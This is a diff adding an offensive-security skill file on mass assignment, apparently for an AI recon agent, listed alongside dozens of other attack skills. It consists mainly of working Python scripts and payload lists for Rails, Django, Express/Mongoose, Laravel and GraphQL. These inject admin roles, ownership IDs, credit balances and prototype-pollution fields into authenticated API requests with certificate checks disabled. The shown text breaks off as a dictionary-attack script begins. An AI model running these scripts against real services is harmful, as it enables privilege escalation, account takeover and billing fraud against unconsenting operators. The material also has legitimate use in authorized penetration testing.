- package/skills/offensive/airecon-fork/vulnerabilities-blind-xss/SKILL.md +111 -0
- package/skills/offensive/airecon-fork/vulnerabilities-business-logic/SKILL.md +313 -0
- package/skills/offensive/airecon-fork/vulnerabilities-cors/SKILL.md +242 -0
- package/skills/offensive/airecon-fork/vulnerabilities-crlf-injection/SKILL.md +146 -0
- package/skills/offensive/airecon-fork/vulnerabilities-csrf/SKILL.md +200 -0
- package/skills/offensive/airecon-fork/vulnerabilities-csrf-advanced-bypass/SKILL.md +536 -0
- package/skills/offensive/airecon-fork/vulnerabilities-deserialization/SKILL.md +363 -0
- package/skills/offensive/airecon-fork/vulnerabilities-dom-based-vulnerabilities/SKILL.md +105 -0
- package/skills/offensive/airecon-fork/vulnerabilities-exploitation/SKILL.md +286 -0
- package/skills/offensive/airecon-fork/vulnerabilities-grpc/SKILL.md +123 -0
- package/skills/offensive/airecon-fork/vulnerabilities-host-header-injection/SKILL.md +169 -0
- package/skills/offensive/airecon-fork/vulnerabilities-http-smuggling/SKILL.md +411 -0
- package/skills/offensive/airecon-fork/vulnerabilities-idor/SKILL.md +705 -0
- package/skills/offensive/airecon-fork/vulnerabilities-information-disclosure/SKILL.md +867 -0
- package/skills/offensive/airecon-fork/vulnerabilities-insecure-file-uploads/SKILL.md +190 -0
- package/skills/offensive/airecon-fork/vulnerabilities-jwt-attacks/SKILL.md +270 -0
- package/skills/offensive/airecon-fork/vulnerabilities-kubernetes/SKILL.md +252 -0
- package/skills/offensive/airecon-fork/vulnerabilities-mass-assignment/SKILL.md +788 -0
- package/skills/offensive/airecon-fork/vulnerabilities-nosql-injection/SKILL.md +204 -0
- package/skills/offensive/airecon-fork/vulnerabilities-oauth-misconfig/SKILL.md +220 -0
- package/skills/offensive/airecon-fork/vulnerabilities-oauth-saml/SKILL.md +163 -0
- package/skills/offensive/airecon-fork/vulnerabilities-open-redirect/SKILL.md +167 -0
- package/skills/offensive/airecon-fork/vulnerabilities-password-reset-poisoning/SKILL.md +66 -0
- package/skills/offensive/airecon-fork/vulnerabilities-path-traversal/SKILL.md +192 -0
- package/skills/offensive/airecon-fork/vulnerabilities-privilege-escalation/SKILL.md +320 -0
- package/skills/offensive/airecon-fork/vulnerabilities-prototype-pollution/SKILL.md +242 -0
- package/skills/offensive/airecon-fork/vulnerabilities-race-conditions/SKILL.md +192 -0
- package/skills/offensive/airecon-fork/vulnerabilities-rce/SKILL.md +240 -0
- package/skills/offensive/airecon-fork/vulnerabilities-sensitive-file-pii-exposure/SKILL.md +589 -0
- package/skills/offensive/airecon-fork/vulnerabilities-spring4shell/SKILL.md +86 -0
- package/skills/offensive/airecon-fork/vulnerabilities-sql-injection/SKILL.md +313 -0
- package/skills/offensive/airecon-fork/vulnerabilities-ssrf/SKILL.md +183 -0
- package/skills/offensive/airecon-fork/vulnerabilities-ssti/SKILL.md +344 -0
- package/skills/offensive/airecon-fork/vulnerabilities-subdomain-takeover/SKILL.md +160 -0
- package/skills/offensive/airecon-fork/vulnerabilities-supply-chain/SKILL.md +125 -0
- package/skills/offensive/airecon-fork/vulnerabilities-unhandled-exception-differential/SKILL.md +742 -0
- package/skills/offensive/airecon-fork/vulnerabilities-waf-detection/SKILL.md +90 -0
- package/skills/offensive/airecon-fork/vulnerabilities-web-cache-poisoning/SKILL.md +233 -0
- package/skills/offensive/airecon-fork/vulnerabilities-websocket/SKILL.md +180 -0
- package/skills/offensive/airecon-fork/vulnerabilities-xss/SKILL.md +316 -0
- package/skills/offensive/airecon-fork/vulnerabilities-xxe/SKILL.md +222 -0
|
@@ -0,0 +1,788 @@
|
|
|
1
|
+
<!-- aegis-local: forked 2026-05-04 from pikpikcu/airecon@9a21453459d87eefb012ea355c79b593d0d3c0cc (MIT-licensed); attribution preserved, see ATTRIBUTION.md -->
|
|
2
|
+
|
|
3
|
+
---
|
|
4
|
+
name: mass-assignment
|
|
5
|
+
description: Mass assignment testing with framework-specific exploitation scripts for Rails, Django, Laravel, Node.js/Express, Mongoose, and Prisma
|
|
6
|
+
---
|
|
7
|
+
|
|
8
|
+
# Mass Assignment
|
|
9
|
+
|
|
10
|
+
Mass assignment binds client-supplied fields directly into models/DTOs without field-level allowlists. It commonly leads to privilege escalation, ownership changes, and unauthorized state transitions in modern APIs and GraphQL.
|
|
11
|
+
|
|
12
|
+
---
|
|
13
|
+
|
|
14
|
+
## Framework-Specific Exploitation
|
|
15
|
+
|
|
16
|
+
### Rails — Strong Parameters Bypass
|
|
17
|
+
|
|
18
|
+
Rails uses `params.require(...).permit(...)` — mass assignment occurs when:
|
|
19
|
+
- `permit!` is used (permits ALL fields)
|
|
20
|
+
- Nested params are not filtered
|
|
21
|
+
- `accepts_nested_attributes_for` is combined with weak permits
|
|
22
|
+
|
|
23
|
+
**Detection pattern:**
|
|
24
|
+
```python
|
|
25
|
+
#!/usr/bin/env python3
|
|
26
|
+
"""
|
|
27
|
+
Rails mass assignment tester.
|
|
28
|
+
Injects extra fields into a create/update request and checks if they persist.
|
|
29
|
+
|
|
30
|
+
Usage: python3 rails_mass_assign.py \
|
|
31
|
+
--url https://app.target.com/users/123 \
|
|
32
|
+
--method PATCH \
|
|
33
|
+
--token "Bearer <token>" \
|
|
34
|
+
--base '{"user": {"name": "test"}}' \
|
|
35
|
+
--inject '{"user": {"role": "admin", "admin": true, "is_admin": true}}'
|
|
36
|
+
"""
|
|
37
|
+
import json, ssl, argparse, sys
|
|
38
|
+
from urllib.request import urlopen, Request
|
|
39
|
+
from urllib.error import HTTPError
|
|
40
|
+
|
|
41
|
+
ctx = ssl.create_default_context()
|
|
42
|
+
ctx.check_hostname = False
|
|
43
|
+
ctx.verify_mode = ssl.CERT_NONE
|
|
44
|
+
|
|
45
|
+
def do_request(url, method, token, body):
|
|
46
|
+
data = json.dumps(body).encode()
|
|
47
|
+
req = Request(url, data=data, method=method, headers={
|
|
48
|
+
"Authorization": token,
|
|
49
|
+
"Content-Type": "application/json",
|
|
50
|
+
"Accept": "application/json"
|
|
51
|
+
})
|
|
52
|
+
try:
|
|
53
|
+
resp = urlopen(req, context=ctx, timeout=15)
|
|
54
|
+
return resp.status, json.loads(resp.read())
|
|
55
|
+
except HTTPError as e:
|
|
56
|
+
try:
|
|
57
|
+
return e.code, json.loads(e.read())
|
|
58
|
+
except Exception:
|
|
59
|
+
return e.code, {}
|
|
60
|
+
|
|
61
|
+
parser = argparse.ArgumentParser()
|
|
62
|
+
parser.add_argument("--url", required=True)
|
|
63
|
+
parser.add_argument("--get-url", help="GET URL to verify state (default: same as --url)")
|
|
64
|
+
parser.add_argument("--method", default="PATCH")
|
|
65
|
+
parser.add_argument("--token", required=True)
|
|
66
|
+
parser.add_argument("--base", required=True, help="JSON: baseline legitimate request body")
|
|
67
|
+
parser.add_argument("--inject", required=True, help="JSON: body with extra fields to inject")
|
|
68
|
+
args = parser.parse_args()
|
|
69
|
+
|
|
70
|
+
base_body = json.loads(args.base)
|
|
71
|
+
inject_body = json.loads(args.inject)
|
|
72
|
+
get_url = args.get_url or args.url
|
|
73
|
+
|
|
74
|
+
# Step 1: Capture baseline state
|
|
75
|
+
print("[1] Baseline GET (current state):")
|
|
76
|
+
status, before = do_request(get_url, "GET", args.token, None)
|
|
77
|
+
print(f" HTTP {status}: {json.dumps(before)[:300]}")
|
|
78
|
+
|
|
79
|
+
# Step 2: Send legitimate request (no injected fields)
|
|
80
|
+
print(f"\n[2] Sending legitimate {args.method} (baseline, no injection):")
|
|
81
|
+
status, resp = do_request(args.url, args.method, args.token, base_body)
|
|
82
|
+
print(f" HTTP {status}: {json.dumps(resp)[:200]}")
|
|
83
|
+
|
|
84
|
+
# Step 3: GET state after baseline
|
|
85
|
+
print("\n[3] State after baseline update:")
|
|
86
|
+
status, mid = do_request(get_url, "GET", args.token, None)
|
|
87
|
+
print(f" HTTP {status}: {json.dumps(mid)[:300]}")
|
|
88
|
+
|
|
89
|
+
# Step 4: Send with injected fields
|
|
90
|
+
print(f"\n[4] Sending {args.method} WITH injected fields:")
|
|
91
|
+
status, injected_resp = do_request(args.url, args.method, args.token, inject_body)
|
|
92
|
+
print(f" HTTP {status}: {json.dumps(injected_resp)[:300]}")
|
|
93
|
+
|
|
94
|
+
# Step 5: GET state after injection — confirm if forbidden fields persisted
|
|
95
|
+
print("\n[5] State AFTER injection (checking if fields persisted):")
|
|
96
|
+
status, after = do_request(get_url, "GET", args.token, None)
|
|
97
|
+
print(f" HTTP {status}: {json.dumps(after)[:300]}")
|
|
98
|
+
|
|
99
|
+
# Step 6: Diff before vs after
|
|
100
|
+
print("\n[DIFF] Before vs After:")
|
|
101
|
+
def flatten(obj, prefix=""):
|
|
102
|
+
result = {}
|
|
103
|
+
if isinstance(obj, dict):
|
|
104
|
+
for k, v in obj.items():
|
|
105
|
+
result.update(flatten(v, f"{prefix}.{k}" if prefix else k))
|
|
106
|
+
elif isinstance(obj, list):
|
|
107
|
+
for i, v in enumerate(obj):
|
|
108
|
+
result.update(flatten(v, f"{prefix}[{i}]"))
|
|
109
|
+
else:
|
|
110
|
+
result[prefix] = obj
|
|
111
|
+
return result
|
|
112
|
+
|
|
113
|
+
before_flat = flatten(before)
|
|
114
|
+
after_flat = flatten(after)
|
|
115
|
+
|
|
116
|
+
changed = []
|
|
117
|
+
for k in set(list(before_flat.keys()) + list(after_flat.keys())):
|
|
118
|
+
bv = before_flat.get(k, "<missing>")
|
|
119
|
+
av = after_flat.get(k, "<missing>")
|
|
120
|
+
if bv != av:
|
|
121
|
+
changed.append((k, bv, av))
|
|
122
|
+
flag = "[MASS ASSIGNMENT]" if any(s in k.lower() for s in ["admin", "role", "permission", "owner", "tenant", "plan", "tier", "verified", "status", "credit", "limit"]) else "[CHANGED]"
|
|
123
|
+
print(f" {flag} {k}: {bv!r} → {av!r}")
|
|
124
|
+
|
|
125
|
+
if not changed:
|
|
126
|
+
print(" No changes detected — server likely ignored injected fields")
|
|
127
|
+
```
|
|
128
|
+
|
|
129
|
+
---
|
|
130
|
+
|
|
131
|
+
### Django REST Framework — Serializer Field Bypass
|
|
132
|
+
|
|
133
|
+
DRF mass assignment occurs when:
|
|
134
|
+
- `read_only_fields` is missing for sensitive fields
|
|
135
|
+
- `partial=True` combined with missing field restrictions
|
|
136
|
+
- Nested serializers are writable without explicit field control
|
|
137
|
+
|
|
138
|
+
**Sensitive fields to inject in DRF apps:**
|
|
139
|
+
```python
|
|
140
|
+
DJANGO_INJECTION_CANDIDATES = {
|
|
141
|
+
# User model common fields
|
|
142
|
+
"is_staff": True,
|
|
143
|
+
"is_superuser": True,
|
|
144
|
+
"is_active": True,
|
|
145
|
+
"date_joined": "2020-01-01T00:00:00Z",
|
|
146
|
+
# Profile extras
|
|
147
|
+
"role": "admin",
|
|
148
|
+
"tier": "premium",
|
|
149
|
+
"verified": True,
|
|
150
|
+
"email_verified": True,
|
|
151
|
+
# Ownership
|
|
152
|
+
"user": 1,
|
|
153
|
+
"user_id": 1,
|
|
154
|
+
"owner_id": 1,
|
|
155
|
+
"organization_id": "ORG_ID_HERE",
|
|
156
|
+
}
|
|
157
|
+
|
|
158
|
+
# DRF often accepts extra_kwargs override via PATCH with partial=True
|
|
159
|
+
# Try patching with Content-Type: application/json AND multipart/form-data
|
|
160
|
+
# DRF serializers may have different validation per content type
|
|
161
|
+
```
|
|
162
|
+
|
|
163
|
+
**Multi-encoding tester:**
|
|
164
|
+
```python
|
|
165
|
+
#!/usr/bin/env python3
|
|
166
|
+
"""
|
|
167
|
+
Multi-encoding mass assignment tester.
|
|
168
|
+
Tests the same injected field across JSON, form-encoded, and multipart.
|
|
169
|
+
"""
|
|
170
|
+
import ssl, json, argparse
|
|
171
|
+
from urllib.request import urlopen, Request
|
|
172
|
+
from urllib.error import HTTPError
|
|
173
|
+
import urllib.parse
|
|
174
|
+
|
|
175
|
+
ctx = ssl.create_default_context()
|
|
176
|
+
ctx.check_hostname = False
|
|
177
|
+
ctx.verify_mode = ssl.CERT_NONE
|
|
178
|
+
|
|
179
|
+
def test_json(url, method, token, body):
|
|
180
|
+
req = Request(url, data=json.dumps(body).encode(), method=method, headers={
|
|
181
|
+
"Authorization": token, "Content-Type": "application/json"
|
|
182
|
+
})
|
|
183
|
+
try:
|
|
184
|
+
resp = urlopen(req, context=ctx, timeout=10)
|
|
185
|
+
return resp.status, resp.read()[:200]
|
|
186
|
+
except HTTPError as e:
|
|
187
|
+
return e.code, b""
|
|
188
|
+
|
|
189
|
+
def test_form(url, method, token, flat_body):
|
|
190
|
+
"""Flat dict only — form encoding doesn't support nested."""
|
|
191
|
+
encoded = urllib.parse.urlencode(flat_body).encode()
|
|
192
|
+
req = Request(url, data=encoded, method=method, headers={
|
|
193
|
+
"Authorization": token, "Content-Type": "application/x-www-form-urlencoded"
|
|
194
|
+
})
|
|
195
|
+
try:
|
|
196
|
+
resp = urlopen(req, context=ctx, timeout=10)
|
|
197
|
+
return resp.status, resp.read()[:200]
|
|
198
|
+
except HTTPError as e:
|
|
199
|
+
return e.code, b""
|
|
200
|
+
|
|
201
|
+
def test_multipart(url, method, token, flat_body):
|
|
202
|
+
boundary = "----BoundaryXYZ789"
|
|
203
|
+
parts = []
|
|
204
|
+
for k, v in flat_body.items():
|
|
205
|
+
parts.append(f'--{boundary}\r\nContent-Disposition: form-data; name="{k}"\r\n\r\n{v}')
|
|
206
|
+
body = ("\r\n".join(parts) + f"\r\n--{boundary}--\r\n").encode()
|
|
207
|
+
req = Request(url, data=body, method=method, headers={
|
|
208
|
+
"Authorization": token,
|
|
209
|
+
"Content-Type": f"multipart/form-data; boundary={boundary}"
|
|
210
|
+
})
|
|
211
|
+
try:
|
|
212
|
+
resp = urlopen(req, context=ctx, timeout=10)
|
|
213
|
+
return resp.status, resp.read()[:200]
|
|
214
|
+
except HTTPError as e:
|
|
215
|
+
return e.code, b""
|
|
216
|
+
|
|
217
|
+
parser = argparse.ArgumentParser()
|
|
218
|
+
parser.add_argument("--url", required=True)
|
|
219
|
+
parser.add_argument("--method", default="PATCH")
|
|
220
|
+
parser.add_argument("--token", required=True)
|
|
221
|
+
parser.add_argument("--field", required=True, help="Field name to inject (e.g. 'is_admin')")
|
|
222
|
+
parser.add_argument("--value", required=True, help="Field value to inject (e.g. 'true')")
|
|
223
|
+
args = parser.parse_args()
|
|
224
|
+
|
|
225
|
+
flat = {args.field: args.value}
|
|
226
|
+
nested = {"user": flat} # Rails-style wrapper
|
|
227
|
+
|
|
228
|
+
print(f"[*] Testing injection of {args.field}={args.value}")
|
|
229
|
+
print(f" Target: {args.method} {args.url}\n")
|
|
230
|
+
|
|
231
|
+
print(" [JSON flat] ", end="")
|
|
232
|
+
s, b = test_json(args.url, args.method, args.token, flat)
|
|
233
|
+
print(f"HTTP {s}")
|
|
234
|
+
|
|
235
|
+
print(" [JSON nested] ", end="")
|
|
236
|
+
s, b = test_json(args.url, args.method, args.token, nested)
|
|
237
|
+
print(f"HTTP {s}")
|
|
238
|
+
|
|
239
|
+
print(" [Form-encoded] ", end="")
|
|
240
|
+
s, b = test_form(args.url, args.method, args.token, flat)
|
|
241
|
+
print(f"HTTP {s}")
|
|
242
|
+
|
|
243
|
+
print(" [Multipart] ", end="")
|
|
244
|
+
s, b = test_multipart(args.url, args.method, args.token, flat)
|
|
245
|
+
print(f"HTTP {s}")
|
|
246
|
+
|
|
247
|
+
print(" [JSON dot.path] ", end="")
|
|
248
|
+
dot = {f"user.{args.field}": args.value}
|
|
249
|
+
s, b = test_json(args.url, args.method, args.token, dot)
|
|
250
|
+
print(f"HTTP {s}")
|
|
251
|
+
|
|
252
|
+
print(" [Bracket path] ", end="")
|
|
253
|
+
bracket = {f"user[{args.field}]": args.value}
|
|
254
|
+
s, b = test_form(args.url, args.method, args.token, bracket)
|
|
255
|
+
print(f"HTTP {s}")
|
|
256
|
+
|
|
257
|
+
print("\nNext: GET resource and verify if field persisted")
|
|
258
|
+
```
|
|
259
|
+
|
|
260
|
+
---
|
|
261
|
+
|
|
262
|
+
### Node.js / Express — Body Parser Direct Bind
|
|
263
|
+
|
|
264
|
+
Express with `app.use(express.json())` and direct `req.body` assignment:
|
|
265
|
+
```javascript
|
|
266
|
+
// Vulnerable pattern:
|
|
267
|
+
User.findByIdAndUpdate(req.params.id, req.body, { new: true })
|
|
268
|
+
// No field filtering — attacker controls all top-level fields
|
|
269
|
+
```
|
|
270
|
+
|
|
271
|
+
**Attack payload for Express/Mongoose targets:**
|
|
272
|
+
```python
|
|
273
|
+
NODE_INJECTION_CANDIDATES = [
|
|
274
|
+
# Privilege escalation
|
|
275
|
+
{"isAdmin": True},
|
|
276
|
+
{"role": "admin"},
|
|
277
|
+
{"roles": ["admin"]},
|
|
278
|
+
{"permissions": ["*"]},
|
|
279
|
+
{"__v": 0, "isAdmin": True}, # Bypass version check
|
|
280
|
+
# Ownership
|
|
281
|
+
{"userId": "VICTIM_ID"},
|
|
282
|
+
{"owner": "VICTIM_ID"},
|
|
283
|
+
{"createdBy": "VICTIM_ID"},
|
|
284
|
+
# Mongoose-specific: __proto__ pollution via body
|
|
285
|
+
{"__proto__": {"isAdmin": True}},
|
|
286
|
+
{"constructor": {"prototype": {"isAdmin": True}}},
|
|
287
|
+
# Nested model injection
|
|
288
|
+
{"profile": {"isAdmin": True, "role": "admin"}},
|
|
289
|
+
{"settings": {"admin": True, "tier": "enterprise"}},
|
|
290
|
+
# Quota manipulation
|
|
291
|
+
{"usageLimit": 999999},
|
|
292
|
+
{"monthlyRequests": 0},
|
|
293
|
+
{"credits": 10000},
|
|
294
|
+
# Plan manipulation
|
|
295
|
+
{"plan": "enterprise"},
|
|
296
|
+
{"tier": "premium"},
|
|
297
|
+
{"subscription": {"plan": "pro", "status": "active"}},
|
|
298
|
+
]
|
|
299
|
+
```
|
|
300
|
+
|
|
301
|
+
---
|
|
302
|
+
|
|
303
|
+
### Laravel — $fillable and $guarded Bypass
|
|
304
|
+
|
|
305
|
+
Laravel mass assignment via Eloquent:
|
|
306
|
+
```php
|
|
307
|
+
// Vulnerable — guarded=[] means everything fillable
|
|
308
|
+
protected $guarded = [];
|
|
309
|
+
|
|
310
|
+
// Also vulnerable — specific field in fillable
|
|
311
|
+
protected $fillable = ['name', 'email', 'role']; // 'role' should NOT be here
|
|
312
|
+
```
|
|
313
|
+
|
|
314
|
+
**Test vector for Laravel endpoints:**
|
|
315
|
+
```python
|
|
316
|
+
LARAVEL_CANDIDATES = {
|
|
317
|
+
# Standard Eloquent model fields
|
|
318
|
+
"role": "admin",
|
|
319
|
+
"is_admin": 1,
|
|
320
|
+
"admin": 1,
|
|
321
|
+
"verified": 1,
|
|
322
|
+
"email_verified_at": "2024-01-01 00:00:00",
|
|
323
|
+
"deleted_at": None, # Soft delete undelete
|
|
324
|
+
"remember_token": "ATTACKER_TOKEN",
|
|
325
|
+
# Relationships
|
|
326
|
+
"user_id": 1,
|
|
327
|
+
"account_id": 1,
|
|
328
|
+
"company_id": 1,
|
|
329
|
+
# Feature flags
|
|
330
|
+
"premium": 1,
|
|
331
|
+
"beta_access": 1,
|
|
332
|
+
"trial_ends_at": "2099-12-31 00:00:00",
|
|
333
|
+
# Laravel Passport/Sanctum abuse
|
|
334
|
+
"_method": "DELETE", # Method override
|
|
335
|
+
"_token": "", # CSRF bypass attempt
|
|
336
|
+
}
|
|
337
|
+
```
|
|
338
|
+
|
|
339
|
+
---
|
|
340
|
+
|
|
341
|
+
### Mongoose / Prisma — Schema Path Injection
|
|
342
|
+
|
|
343
|
+
Mongoose `select: false` prevents reading a field but **does not prevent writing it**.
|
|
344
|
+
|
|
345
|
+
```javascript
|
|
346
|
+
// Mongoose schema — 'role' is select:false (hidden from reads)
|
|
347
|
+
const userSchema = new Schema({
|
|
348
|
+
name: String,
|
|
349
|
+
role: { type: String, default: 'user', select: false } // Hidden but writable!
|
|
350
|
+
});
|
|
351
|
+
|
|
352
|
+
// Prisma — no select: false equivalent; relies on explicit field exclusion
|
|
353
|
+
// Vulnerable:
|
|
354
|
+
await prisma.user.update({ where: { id }, data: req.body })
|
|
355
|
+
// All req.body fields applied — role, isAdmin, etc.
|
|
356
|
+
```
|
|
357
|
+
|
|
358
|
+
**Mongoose-specific injection test:**
|
|
359
|
+
```python
|
|
360
|
+
#!/usr/bin/env python3
|
|
361
|
+
"""
|
|
362
|
+
Mongoose/Prisma mass assignment tester.
|
|
363
|
+
Tests that hidden (select:false) fields can still be written.
|
|
364
|
+
"""
|
|
365
|
+
import ssl, json, argparse
|
|
366
|
+
from urllib.request import urlopen, Request
|
|
367
|
+
from urllib.error import HTTPError
|
|
368
|
+
|
|
369
|
+
ctx = ssl.create_default_context()
|
|
370
|
+
ctx.check_hostname = False
|
|
371
|
+
ctx.verify_mode = ssl.CERT_NONE
|
|
372
|
+
|
|
373
|
+
MONGOOSE_CANDIDATES = [
|
|
374
|
+
{"role": "admin"},
|
|
375
|
+
{"isAdmin": True},
|
|
376
|
+
{"__v": -1}, # Bypass optimistic concurrency
|
|
377
|
+
{"_id": "000000000000000000000001"}, # Object ID manipulation
|
|
378
|
+
{"createdAt": "2020-01-01T00:00:00Z"},
|
|
379
|
+
{"updatedAt": "2020-01-01T00:00:00Z"},
|
|
380
|
+
{"__proto__": {"role": "admin"}}, # Prototype pollution via body
|
|
381
|
+
{"constructor.prototype.role": "admin"}, # Dot-notation proto pollution
|
|
382
|
+
]
|
|
383
|
+
|
|
384
|
+
parser = argparse.ArgumentParser()
|
|
385
|
+
parser.add_argument("--url", required=True, help="PATCH/PUT endpoint URL")
|
|
386
|
+
parser.add_argument("--get-url", help="GET URL to read back the object")
|
|
387
|
+
parser.add_argument("--token", required=True)
|
|
388
|
+
args = parser.parse_args()
|
|
389
|
+
|
|
390
|
+
def req(url, method, token, body=None):
|
|
391
|
+
req_obj = Request(url, method=method,
|
|
392
|
+
data=json.dumps(body).encode() if body else None,
|
|
393
|
+
headers={"Authorization": token,
|
|
394
|
+
"Content-Type": "application/json",
|
|
395
|
+
"Accept": "application/json"})
|
|
396
|
+
try:
|
|
397
|
+
resp = urlopen(req_obj, context=ctx, timeout=10)
|
|
398
|
+
return resp.status, json.loads(resp.read())
|
|
399
|
+
except HTTPError as e:
|
|
400
|
+
return e.code, {}
|
|
401
|
+
|
|
402
|
+
get_url = args.get_url or args.url
|
|
403
|
+
status_before, before = req(get_url, "GET", args.token)
|
|
404
|
+
print(f"[BEFORE] {json.dumps(before)[:300]}")
|
|
405
|
+
|
|
406
|
+
for candidate in MONGOOSE_CANDIDATES:
|
|
407
|
+
status, resp = req(args.url, "PATCH", args.token, candidate)
|
|
408
|
+
if status in (200, 201, 204):
|
|
409
|
+
status_after, after = req(get_url, "GET", args.token)
|
|
410
|
+
# Check if injected field appears in response
|
|
411
|
+
candidate_keys = list(candidate.keys())
|
|
412
|
+
visible_changes = {k: after.get(k) for k in candidate_keys if after.get(k) != before.get(k)}
|
|
413
|
+
if visible_changes:
|
|
414
|
+
print(f"[MASS ASSIGNMENT] {candidate} → {visible_changes}")
|
|
415
|
+
else:
|
|
416
|
+
print(f"[OK/HIDDEN] {candidate} → HTTP {status}, no visible change (may still persist)")
|
|
417
|
+
else:
|
|
418
|
+
print(f"[REJECTED] {candidate} → HTTP {status}")
|
|
419
|
+
```
|
|
420
|
+
|
|
421
|
+
---
|
|
422
|
+
|
|
423
|
+
### GraphQL — Input Type Field Injection
|
|
424
|
+
|
|
425
|
+
GraphQL mutation inputs are often mapped directly to ORM models. Missing allowlist on `InputType` allows unauthorized field writes.
|
|
426
|
+
|
|
427
|
+
```python
|
|
428
|
+
#!/usr/bin/env python3
|
|
429
|
+
"""
|
|
430
|
+
GraphQL mass assignment via mutation input injection.
|
|
431
|
+
Injects extra fields into mutation inputs and checks if they persist.
|
|
432
|
+
"""
|
|
433
|
+
import ssl, json, argparse
|
|
434
|
+
from urllib.request import urlopen, Request
|
|
435
|
+
from urllib.error import HTTPError
|
|
436
|
+
|
|
437
|
+
ctx = ssl.create_default_context()
|
|
438
|
+
ctx.check_hostname = False
|
|
439
|
+
ctx.verify_mode = ssl.CERT_NONE
|
|
440
|
+
|
|
441
|
+
# Common GraphQL mutation targets for mass assignment
|
|
442
|
+
GRAPHQL_CANDIDATES = [
|
|
443
|
+
# Wrap in the appropriate input type name for the target
|
|
444
|
+
'{ "isAdmin": true }',
|
|
445
|
+
'{ "role": "ADMIN" }',
|
|
446
|
+
'{ "tier": "ENTERPRISE" }',
|
|
447
|
+
'{ "verified": true }',
|
|
448
|
+
'{ "permissions": ["ALL"] }',
|
|
449
|
+
'{ "ownerId": "VICTIM_USER_ID" }',
|
|
450
|
+
'{ "organizationId": "TARGET_ORG_ID" }',
|
|
451
|
+
'{ "creditBalance": 99999 }',
|
|
452
|
+
'{ "plan": "premium" }',
|
|
453
|
+
'{ "trialEndsAt": "2099-12-31" }',
|
|
454
|
+
]
|
|
455
|
+
|
|
456
|
+
def gql(url, token, query, variables=None):
|
|
457
|
+
payload = {"query": query, "variables": variables or {}}
|
|
458
|
+
req = Request(url, data=json.dumps(payload).encode(), headers={
|
|
459
|
+
"Authorization": token,
|
|
460
|
+
"Content-Type": "application/json",
|
|
461
|
+
"Accept": "application/json"
|
|
462
|
+
})
|
|
463
|
+
try:
|
|
464
|
+
resp = urlopen(req, context=ctx, timeout=15)
|
|
465
|
+
return resp.status, json.loads(resp.read())
|
|
466
|
+
except HTTPError as e:
|
|
467
|
+
return e.code, {}
|
|
468
|
+
|
|
469
|
+
parser = argparse.ArgumentParser()
|
|
470
|
+
parser.add_argument("--url", required=True)
|
|
471
|
+
parser.add_argument("--token", required=True)
|
|
472
|
+
parser.add_argument("--mutation", required=True, help="Mutation name (e.g. 'updateUser')")
|
|
473
|
+
parser.add_argument("--input-type", required=True, help="Input type variable name (e.g. 'input')")
|
|
474
|
+
parser.add_argument("--user-id", required=True, help="Your own user ID to check state")
|
|
475
|
+
args = parser.parse_args()
|
|
476
|
+
|
|
477
|
+
# First: introspect the input type to see available fields
|
|
478
|
+
INTROSPECT = """
|
|
479
|
+
query {
|
|
480
|
+
__type(name: "MUTATION_NAME") {
|
|
481
|
+
name
|
|
482
|
+
args {
|
|
483
|
+
name
|
|
484
|
+
type {
|
|
485
|
+
name
|
|
486
|
+
kind
|
|
487
|
+
inputFields {
|
|
488
|
+
name
|
|
489
|
+
type { name kind }
|
|
490
|
+
}
|
|
491
|
+
}
|
|
492
|
+
}
|
|
493
|
+
}
|
|
494
|
+
}
|
|
495
|
+
""".replace("MUTATION_NAME", args.mutation)
|
|
496
|
+
|
|
497
|
+
# Test each candidate by adding it to a minimal mutation
|
|
498
|
+
for candidate_str in GRAPHQL_CANDIDATES:
|
|
499
|
+
candidate = json.loads(candidate_str)
|
|
500
|
+
field_name = list(candidate.keys())[0]
|
|
501
|
+
field_value = list(candidate.values())[0]
|
|
502
|
+
|
|
503
|
+
# Build mutation with the candidate field injected
|
|
504
|
+
if isinstance(field_value, bool):
|
|
505
|
+
gql_val = str(field_value).lower()
|
|
506
|
+
elif isinstance(field_value, str):
|
|
507
|
+
gql_val = f'"{field_value}"'
|
|
508
|
+
elif isinstance(field_value, int):
|
|
509
|
+
gql_val = str(field_value)
|
|
510
|
+
elif isinstance(field_value, list):
|
|
511
|
+
gql_val = json.dumps(field_value)
|
|
512
|
+
else:
|
|
513
|
+
gql_val = json.dumps(field_value)
|
|
514
|
+
|
|
515
|
+
mutation = f"""
|
|
516
|
+
mutation TestMassAssignment {{
|
|
517
|
+
{args.mutation}({args.input_type}: {{
|
|
518
|
+
id: "{args.user_id}"
|
|
519
|
+
{field_name}: {gql_val}
|
|
520
|
+
}}) {{
|
|
521
|
+
id
|
|
522
|
+
{field_name}
|
|
523
|
+
... on User {{
|
|
524
|
+
role
|
|
525
|
+
isAdmin
|
|
526
|
+
tier
|
|
527
|
+
plan
|
|
528
|
+
}}
|
|
529
|
+
}}
|
|
530
|
+
}}
|
|
531
|
+
"""
|
|
532
|
+
|
|
533
|
+
status, resp = gql(args.url, args.token, mutation)
|
|
534
|
+
errors = resp.get("errors", [])
|
|
535
|
+
data = resp.get("data", {}).get(args.mutation)
|
|
536
|
+
|
|
537
|
+
if errors:
|
|
538
|
+
# Check if error is "unknown field" vs "unauthorized" — different signals
|
|
539
|
+
err_msg = errors[0].get("message", "")
|
|
540
|
+
if "cannot" in err_msg.lower() or "not found" in err_msg.lower():
|
|
541
|
+
print(f"[REJECTED] {field_name}: Field unknown or rejected — {err_msg[:80]}")
|
|
542
|
+
elif "permission" in err_msg.lower() or "unauthorized" in err_msg.lower():
|
|
543
|
+
print(f"[AUTHZ] {field_name}: Authorization check triggered — field likely exists but protected")
|
|
544
|
+
else:
|
|
545
|
+
print(f"[ERROR] {field_name}: {err_msg[:80]}")
|
|
546
|
+
elif data:
|
|
547
|
+
# Check if field was accepted and returned
|
|
548
|
+
if data.get(field_name) == field_value:
|
|
549
|
+
print(f"[MASS ASSIGNMENT] {field_name}={field_value} accepted AND returned in response")
|
|
550
|
+
elif data.get(field_name):
|
|
551
|
+
print(f"[POSSIBLE] {field_name} returned value: {data.get(field_name)} (injected: {field_value})")
|
|
552
|
+
else:
|
|
553
|
+
print(f"[UNKNOWN] {field_name}: mutation succeeded but field not in response (may still persist)")
|
|
554
|
+
else:
|
|
555
|
+
print(f"[HTTP {status}] {field_name}: no data")
|
|
556
|
+
```
|
|
557
|
+
|
|
558
|
+
---
|
|
559
|
+
|
|
560
|
+
## Automated Field Dictionary Attack
|
|
561
|
+
|
|
562
|
+
```python
|
|
563
|
+
#!/usr/bin/env python3
|
|
564
|
+
"""
|
|
565
|
+
Comprehensive mass assignment field dictionary attacker.
|
|
566
|
+
Iterates over a large field dictionary against a target endpoint.
|
|
567
|
